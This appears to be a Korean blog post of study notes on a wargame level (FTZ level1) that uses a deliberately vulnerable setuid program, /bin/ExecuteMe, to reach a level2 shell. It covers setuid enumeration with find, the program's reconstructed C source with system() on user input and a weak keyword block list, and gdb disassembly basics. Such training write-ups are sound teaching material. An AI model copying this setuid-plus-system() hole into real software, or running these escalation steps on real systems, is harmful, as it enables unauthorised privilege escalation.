■ Level1 -> Level2
■ 목적
백도어(Backdoor)에 대한 이해
■ 백도어란?
악의적인 프로그램(뒷문)
악의적인 사용자가 시스템의 보안 헛점을 응용하는 고의로 만들어진 프로그램이다.
목적은 시스템에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할
수 있는 프로그램.
■ level1 문제
[level1]$ cd
[level1]$ ls -l
total 12 -rw-r--r-- 1 root root 47 Apr 4 2000 hint drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html drwxrwxr-x 2 root level1 4096 Aug 19 21:45 tmp |
[level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
|
[참고]
[level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExecuteMe |
[level1]$ ls -l /bin/ExecuteMe
-rwsr-x--- 1 level2 level1 12868 Aug 19 13:01 /bin/ExecuteMe |
[level1]$ /bin/ExecuteMe
레벨2의 권한으로 당신이 원하는 명령어를 한가지 실행시켜 드리겠습니다. (단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ bash
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
|
[용어] White hacker(hacker)/Black hacker(cracker)/Gray hacker(Pentesting)
[level1]$ exit
[level1]$ telnet localhost
level2/hacker or cracker
[level2]$ exit
[level1]$
■ 리버싱을 통한 의사 코드(가상코드) 복원
의사코드(가상코드)란? 리버싱을 통해 원본 소스코드를 복원한 코드이다. 소스코드를 복원할 때 배열의 크기나 조건문이 switch문으로 되어 있는지, if 문으로 되어 있는지에 대한 정확한 복원은 아니고 이런 부분에 대한 단순 복원 코드이다. 따라서 원본 코드와는 약간 다를수 있다.
■ 프로그램 분석 방법(EX: 프로그램 실행시 분석 유무)
- 정적 분석
- 동적 분석
■ 프로그램 분석 방법(EX: 소스 코드 존재 유무)
- 블랙 박스 기법
- 화이트 박스 기법
[level1@ftz level1]$ gdb /bin/ExecuteMe
(gdb) disassemble main
Dump of assembler code for function main: 0x8048680 <_IO_stdin_used+28>: "/usr/bin/clear"
0x080484b0 <main+40>: call 0x8048378 <chdir> int chdir(const char *path);
0x080484bb <main+51>: push $0x80486a0 (gdb) x/s 0x80486a0 0x08048505 <main+125>: add $0x10,%esp char *fgets(char *s, int size, FILE *stream);
|
■ 분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi ExecuteMe.c
#include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h>
int main(void) {
char input[29]; char denyMyPass[] = "my-pass"; char denyChmod[] = "chmod";
system("/usr/bin/clear"); chdir("/home/level2"); printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n"); printf("\t\t한가지 실행시켜 드리겠습니다.\n"); printf("\t\t(단, my-pass와 chmod는 제외)\n"); printf("\t\t\t어떤 명령을 실행시키겠습니까?\n"); printf("\n\n\t\t[level2@ftz level2]$ ");
fgets(input, sizeof(input), stdin);
if(strstr(input, denyMyPass) != NULL ) { printf("\n\tmy-pass 명령은 사용할 수 없습니다.\n\n"); exit(0); }
if(strstr(input, denyChmod) != NULL ) { printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"); exit(0); } printf("\n\n");
setreuid(3002,3002); system(input); } |
-> 프로그램을 해석해 보자.
-> [참고] Remote Shell/Web Shell은 무엇인가?
-> C언어의 system() 함수는 시스템에 명령을 실행할 때 사용하는 함수이다.
-> Java , PHP, Perl, Python 등 대부분의 언어에도 비슷한 함수가 존재한다.
의사코드에서 알수 있는 정보
-
ExecuteMe 프로그램 실행시 프롬프트는 printf 함수로 만들어 진것이다.
-
system() 함수를 통해 stdin 입력된 명령어를 수행한다.
■ 원본 소스 코드
$ vi test_main.c
main(){ } |
$ gcc test_main.c
$ gdb a.out
(gdb) disassemble main
Dump of assembler code for function main:
|
메인도 함수라서 동일한 동작을 한다.
$ vi test_main2.c
#include <stdio.h>
int main(void) {
return 0;
} |
$ gcc test_main2.c
$ gdb a.out
(gdb) disassemble main
Dump of assembler code for function main: 0x080482f4 <main+0>: push %ebp |
return 0; 외에는 코드가 동일하다 (없으면 void)
int a=10; 추가
#include <stdio.h>
int main(void) {
int a=10;
return 0;
}
|
0x080482f4 <main+0>: push %ebp 0x080482f5 <main+1>: mov %esp,%ebp 내용이없어 동일한 위치 0x080482f7 <main+3>: sub $0x8,%esp 높은주소에서 8만큼 뺀다. 변수가 들어갈 공간확보(esp) 0x080482fa <main+6>: and $0xfffffff0,%esp esp주소값 마지막을 0으로 0x080482fd <main+9>: mov $0x0,%eax eax 의 값을 0으로 0x08048302 <main+14>: sub %eax,%esp esp - eax = esp 0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp) 확보된 공간에 내용 입력 0x0804830b <main+23>: mov $0x0,%eax 0x08048310 <main+28>: leave 0x08048311 <main+29>: ret 0x08048312 <main+30>: nop 0x08048313 <main+31>: nop |
a출력
#include <stdio.h>
int main(void) {
int a=10;
printf("a: %d", a);
return 0;
}
|
0x080482f4 <main+0>: push %ebp 0x080482f5 <main+1>: mov %esp,%ebp 내용이없어 동일한 위치 0x080482f7 <main+3>: sub $0x8,%esp 높은주소에서 8만큼 뺀다. 변수가 들어갈 공간확보(esp) 0x080482fa <main+6>: and $0xfffffff0,%esp esp주소값 마지막을 0으로 0x080482fd <main+9>: mov $0x0,%eax eax 의 값을 0으로 0x08048302 <main+14>: sub %eax,%esp esp - eax = esp 0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp) 확보된 공간에 내용 입력 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x8048408 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp 0x08048352 <main+42>: mov $0x0,%eax 0x08048310 <main+28>: leave 0x08048311 <main+29>: ret 0x08048312 <main+30>: nop 0x08048313 <main+31>: nop |
(정리) 공격 방법과 관련 기술 정리
공격한 방법에 대한 순서 정리
-
힌트 정보 확인(# cat hint)
-
힌트 내용에 맞는 파일 검색(# find / -user level2 -perm -4000 2>/dev/null)
-
찾은 프로그램 실행(# /bin/ExecuteMe)
-> 의사 코드 복원(GDB 사용) -
찾은 프로그램의 버그 확인(다양한 방법)
관련된 기술 정리
-
find 명령어 사용법
-
특수퍼미션(SetUID)의 개념
-
어셈블리에 대한 소개
-
GDB 사용법에 대한 소개
-
백도어에 대한 개념
'Learning > └◆Reversing' 카테고리의 다른 글
[참고]어셈블리어의 기본 문법과 명령 (0) | 2017.01.19 |
---|---|
[참고]어셈블리 언어에 대해서_2 (0) | 2017.01.19 |
[참고]어셈블리 언어에 대해서 (0) | 2017.01.19 |
01_시스템해킹 리버싱 (0) | 2017.01.18 |